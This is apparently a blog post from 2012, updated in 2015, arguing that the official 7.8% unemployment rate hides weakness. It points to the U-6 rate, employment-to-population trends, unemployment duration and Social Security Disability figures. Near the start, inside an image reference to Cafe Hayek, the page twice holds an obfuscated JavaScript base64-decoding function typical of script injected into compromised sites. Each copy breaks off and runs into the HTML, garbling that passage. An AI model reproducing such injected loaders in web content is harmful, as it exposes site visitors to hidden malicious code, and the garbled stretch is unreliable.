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You are here: Home / Elections / 2012 Election / Unemployment Rate Confusion Explained in 2 Minutes

Unemployment Rate Confusion Explained in 2 Minutes

Originally published October 16, 2012, By Shelli Dawdy. Updated August 17, 2015. Leave a Comment

I think about 120 seconds is all it is likely to take to understand what's going on with the unemployment rate. Let's say 30 seconds seconds per image and any accompanying text:

Let's start with something that confirms skepticism expressed about the unemployment number reported on October 5, 2012, which was 7.8%, and provides necessary historical perspective:

1) Amount of Employment (people employed) as a percentage of the overall population, historically. 

Found at Cafe Hayek "The recession <script type=

function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand recovery in one picture" http://cafehayek.com/2012/09/the-recession-and-recovery-in-one-picture.html" width="630" height="378" /> Source: Federal Reserve, Found at Cafe Hayek function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand recovery in one picture"" href="http://cafehayek.com/2012/09/the-recession-and-recovery-in-one-picture.html" target="_blank">"The recession and recovery in one picture"

The moral of the story is, in assessing the health of the economy, it is important to look at many factors and to approach those factors from multiple perspectives. We should not merely look at the number of "unemployed" - we also need to look at the number of people who are employed and compare the current trend to those seen in the past.

2) Unemployment number which actually accounts for the long-term unemployed1 See the Bureau of Labor Statistics Glossary for their definition of "marginally attached workers", but note that the definition moves people out of ...continue. and those who are working part time, but who would rather work full time:

Federal Reserve U-6 Unemployment Rate, http://research.stlouisfed.org/fred2/series/U6RATE

Source: Federal Reserve U-6 Unemployment Rate, based on Bureau of Labor Statistics data. "Total unemployed, plus all marginally attached workers plus total employed part time for economic reasons (U6RATE)"

Yes, the most up-to-date number is that high - it's 14.7%. And yes, the same agency which released a 7.8% rate on October 5, provided this same data.

3) Length of time, in weeks, people are unemployed, on average, historically:

FRED Graph: Average Duration of Unemployment
Source: Federal Reserve, "Average (Mean) Duration of Unemployment", produced from Bureau of Labor Statistics Data

4) Unemployment rate - that U-6 rate, above, as compared to the number of Americans receiving Social Security Disability benefits (no, Social Security is most certainly NOT just for people ages 62 and up2 In addition to what most people commonly think of when they think of Social Security - payments to retired people who had payroll withholdings - ...continue:

Lower Unemployment or More Disability Recipients - Graph

Click to view largest version. Sources of data: Social Security Administration annual report and Monthly Statistical Snapshot, August 2012; and Federal Reserve U-6 Rate 

So...any further confusion on whether that 7.8% unemployment rate on October 5 was either great news or accurate?

{cue crickets chirping}

Any confusions about whether America is experiencing "economic recovery"?

{cue crickets chirping}

Any confusion about the policies attempted and their relative effectiveness since 2008?

{cue crickets chirping}

Oh, and is anyone else wondering how accurate or inaccurate Nebraska's unemployment information is? Or is it just me?

Leaving uncomfortable local questions aside for the moment, regarding federal government's number crunching, there is even more to this whole story (hey...I know, but we're talking about exponentially expanding government, so there is always more to every story), such as with the unemployment numbers - even that official 14.7% U-6 rate I've included here. But, another day perhaps.

But, I bet you're wondering now about what's going on with those Social Security Disability benefits, right?

Well, I don't have time right now to dive all the way into it by way of writing an article, but I recommend giving an hour to the subject - it's well worth the time. Click HERE to visit an EconTalk posting for a very eye-opening podcast about the problems with the Social Security Disability program.  You can choose from several methods to listen to Hoover Institution Fellow Russ Roberts' interview with David Autor of MIT.

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Notes & References   [ + ]

1. ↑ See the Bureau of Labor Statistics Glossary for their definition of "marginally attached workers", but note that the definition moves people out of the group categorized as "unemployed" if they are not "actively" seeking work, which is another definition with problems
2. ↑ In addition to what most people commonly think of when they think of Social Security - payments to retired people who had payroll withholdings - there are Survivors' benefits (spouses and children), all of which is officially referred to as "Old Age and Survivors Insurance" (OASI) and Disability Insurance (SSDI). As with the commonly thought of Social Security, Disability Insurance also pays benefits to spouses and dependents. An entirely separate program, NOT depicted in the graph, "Lower Unemployment? Or More Disability Benefit Recipients?" is the benefit known as Supplemental Security Income.

Filed Under: 2012 Election, Civil Society, Featured, Federal, Federal Reserve, Government Spending, Welfare Tagged With: 2012 election, 7.8% unemployment, actual unemployment rate, barack obama, bls, bureau of labor statistics, david autor, disability benefits, duration of unemployment historically, economics, econtalk, employed as percentage of population, employment as percentage of unemployment rate, federal reserve research, government statistics, government welfare programs, health of the economy, how long people are unemployed, how many people are actually unemployed, long term unemployed, marginally attached workers, mitt romney, obama administration, old age and survivors insurance, part time employment, presidential election, real unemployment, russ roberts, social security act of 1965, social security disability, social security disability insurance program, ssdi, surge in disability applications, u-6 unemployment rate, underemployed, unemployment percentages, unemployment rate, unemployment statistics

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